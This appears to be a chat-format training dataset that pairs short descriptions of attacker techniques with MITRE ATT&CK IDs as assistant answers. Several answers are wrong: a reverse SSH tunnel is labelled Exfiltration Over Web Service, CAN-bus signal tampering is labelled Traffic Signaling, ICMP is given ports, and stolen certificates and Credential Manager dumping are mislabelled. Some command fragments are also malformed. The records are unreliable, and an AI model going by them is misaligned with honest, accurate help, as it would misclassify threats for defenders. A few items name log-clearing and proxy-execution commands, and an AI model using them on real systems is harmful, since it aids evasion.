        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a custom script that throttles outbound traffic, sending no more than 500 KB per request to avoid triggering DLP alerts."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the GetSystemInfo API to detect if the environment is a virtual machine and aborts if it is."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performs remote email collection by using the Microsoft Graph PowerShell SDK to pull messages from the victim’s mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor steals a code‑signing certificate from a compromised developer workstation and uses it to sign their malware."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware renamed its executable to svchost.exe and placed it in the system32 directory to blend in with legitimate processes."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the Exchange Web Services (EWS) API to enumerate and download emails."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Remote Access Trojan gathers the list of connected peripherals, including printers and USB devices, and reports them back."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the command 'wevtutil.exe /l:Security /c' the attacker cleared the security log."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers drop a malicious INF and use cmstp.exe /au to silently install and run the payload."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique consists of manipulating Mustache templates to embed malicious JavaScript that runs on the server after rendering."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts DNS over HTTPS requests that only push data to a remote server, leveraging a one-way web service to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is delivered as a signed DLL that is placed in the system32\\spool\\drivers\\x64\\3 directory, which Terminal Services loads when a remote desktop connection is established."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker conducts a direct network flood by continuously transmitting large volumes of traffic from compromised hosts to the victim's DNS server, causing connectivity loss."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor inserts malicious code into a web application's database tables to alter stored user credentials and gain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised service account, the malicious actor enumerates cloud-based permission groups via the Azure REST API."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor obtained a DNS provider service to manage DNS TXT records used for covert channel signaling."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group runs queries against source control platforms like GitHub, GitLab, and SourceForge to find leaked SSH private keys."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries injected JavaScript into a vulnerable blog platform, causing the displayed content to change to offensive messages."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials are used to run 'net rpc trustdom list' on a Samba server to find domain trusts."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages ICMP echo requests on non‑standard ports to hide data exfiltration within seemingly benign traffic."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses Mimikatz to dump LSA Secrets, retrieving cached domain credentials from the registry."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload invokes the NtSetInformationThread API to hide its thread from debugger enumeration."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PDF is sent via a compromised messaging app; the user clicks the embedded link, triggering the execution of a PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers gained access to a GCP project's IAM roles and provisioned new Compute Engine instances to host command-and-control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a compromised third‑party framework's dylib to hijack the load process of a victim app, achieving code execution with the app's privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker tampers with the system's preferences plist to hide its presence."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits vulnerabilities in network protocols themselves to achieve lateral movement, often by creating specially crafted packets that are misinterpreted by the protocol's implementation."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool dumps the Windows Credential Manager entries, including cached domain credentials, for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker provisions a new service account in Microsoft Azure and grants it Contributor role to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The APT group conducted a comprehensive network scan of the target's IP range to locate live machines before credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code creates a secure channel by generating a public‑private key pair and encrypting its beacon using the public key shared with the attacker."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performed lateral movement by mounting the \\\\targethost\\IPC$ share with stolen credentials and copying ransomware executables to the remote system."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom tool, the threat actor extracts cached domain credentials from the Windows Credential Store."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses audio steganography, embedding a command-and-control payload within an MP3 file that appears harmless."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used Regsvr32 to run a signed, yet malicious, Windows Script File (WSF) that downloaded additional ransomware components."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system has its HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\InstalledSDBs registry value altered to include a malicious shim database."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable version of a network printer's web interface to upload and execute a web shell."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the NTFS \"Encrypted\" attribute to store stolen data, making it appear as normal encrypted files to analysts."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intrusion tools use standard Redis protocol messages to exfiltrate data unnoticed."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign uses valid domain account credentials to deploy ransomware across the enterprise."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors delivered a crafted .lnk shortcut in an email attachment that, when clicked, launched a PowerShell payload establishing persistence."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses systemctl enable to register a persistently loaded service that executes a ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a domain account tied to a compromised credential and enables it for remote desktop access."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs a credential dumping from the Registry's SECURITY hive to obtain higher‑privilege credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant constructs domain names by converting the current epoch time to base‑36 and appending a predetermined suffix, then resolves each to locate the C2 endpoint."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends forged CAN bus messages to traffic signal hardware, causing it to display incorrect light sequences and disrupt traffic flow."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By placing a crafted timer unit in ~/.config/systemd/user/, the attacker ensures the malicious command runs after each login."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker leverages a remote code execution vulnerability in a Docker daemon to compromise the host server."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary hooks the Winlogon authentication API to capture credentials typed into the login screen."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor stole Azure Key Vault secrets by exploiting a compromised service principal and exfiltrated the API keys."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the 'shred' command to securely overwrite log files in /var/log on a Linux box before exiting."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware collects documents, spreadsheets, and PDFs from the local file system and stages them for upload."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a shared network drive and copies sensitive documents there for later theft."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code registers an XPC service named com.example.maliciousHelper, which is then invoked by a compromised user process to elevate privileges."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Infected script uses the ‘ipconfig /all’ command to retrieve network interface configurations."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During data exfiltration, the intruder modifies the content being transmitted to hide the theft."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a malicious ProjectCollection XML in %TEMP% and calls msbuild.exe with the /restore flag to execute it."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a reverse SSH tunnel to pipe stolen files directly to the attacker’s machine."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious group buys a domain through a privacy‑protected registrar to hide their identity."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses a compromised admin panel to inject defacement code into the site’s footer, making the changes visible to every visitor."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker clears any created persistence points, such as registry run keys and scheduled tasks, from the victim host."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the service control manager to add a bogus service called \"WinDefend\" that actually runs the payload."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs tcpdump to collect DNS query data for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the Win32 API function EnumInstalledProducts to collect software inventory silently."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code exfiltrates database dumps by uploading them to a malicious file sharing site via FTP over TLS."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed an MIB walk to capture ARP tables and routing information via SNMP."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a malicious disk image and writes it directly to the target's hard drive to replace the original operating system files."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing payload installed a tool that harvested data from mapped network drives."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate data by piggybacking on legitimate outbound SMB traffic to a remote file server they control."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker intercepts outgoing HTTP traffic and rewrites the JSON payload to include a malicious script before it reaches the victim's browser."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code invoked 'SetFilePointer' followed by 'SetEndOfFile' to truncate critical files."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool creates a launchd plist that runs an encrypted payload with elevated privileges on system startup."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script creates a hidden local account on the compromised host to maintain access."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Windows Installer service by executing msiexec /quiet with a malicious MSI to silently install and run malicious code."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary registers a new service principal name to obtain unauthorized access to Azure resources."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses PowerShell's Get-LocalUser cmdlet to list local accounts on a compromised Windows system."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
